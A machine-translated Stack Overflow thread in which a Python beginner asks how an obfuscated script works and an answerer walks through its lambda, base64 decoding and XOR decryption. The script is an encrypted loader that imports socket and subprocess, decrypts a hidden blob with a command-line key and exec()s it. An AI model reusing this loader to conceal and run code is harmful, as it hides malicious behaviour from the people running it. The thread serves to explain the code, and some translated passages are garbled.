2017-02-22 24 views
-1

我是python编码的完全新手,我试图对脚本/程序进行反向工程,但苦于理解lambda/.join(chr(ord())函数:了解lambda&.join(chr(ord(letter))

的代码我尝试反向工程是继:

#!/usr/bin/env python 
from itertools import cycle, izip 
import base64, sys 

import socket, subprocess, os, urllib 

x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b))) 

c = """ 
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe 
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T 
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha 
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q 
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9 
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY 
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X 
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX 
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT 
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX 
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC 
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT 
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb 
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET 
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX 
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR 
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT 
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd 
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET 
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ 
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY 
Gho9QB9QX1hAVBsaPQ== 
""" 

exec(x(c, sys.argv[1])) 

如果我理解这个正确的运营商C的base64编码的变量,但它不能变直了,因为它能够在''.join(chr(c)^ord(k))错位解码这在某种程度上使用解码版本的C与循环它通过sysargv值 - 但这是我完全失去了;哪一个功能得到过程sed首先,C和K的XOR还是A和B的循环?

此外,k来自这个场合,它不应该是sysargv它是在程序的执行部分设置为b,所以这是默认情况下由某些导入模块设置的东西吗?

回答

0

让我们来分析一下:

x = lambda stuff: other_stuff 

几乎完全等同于

def x(stuff): 
    return other_stuff 

所以它只是定义一个函数,a(Base64编码密文),并b(关键)和返回解码的字符串。

现在,从内到外去:

base64.decodestring(a) 

此简单地解码该密文的64位编码,并返回一个解码字符串

cycle(b) 

返回一个迭代即在B个周期;例如,如果b是​​,迭代器将继续提供a,b,c,a,b,c,a,b,c ......。

izip(...) 

返回提供两个序列的“压缩”元组的迭代器;例如,如果第一个参数是"12345",第二个参数是cycle("abc")它将提供("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b")

chr(ord(c)^ord(k)) for c,k in izip(...) 

这是发电机的表达,这超过izip结果迭代,上述解包这些元组成ck(密文以及每个单字节的键),并通过异或来计算解密字节* (^)的字节值(ord)并将结果重新组合为相应的字符(chr)。结果是提供解码字符的生成器。

''.join(...) 

加入由发电机提供表达成一个单一的大的字符串,其结果的字符。

+0

谢谢!这是非常有帮助的解释! –

+0

很高兴这是有帮助的,如果我的回答正确地解决了你的疑惑,你可能会赞成它并将其标记为已接受(谢谢!:-)) –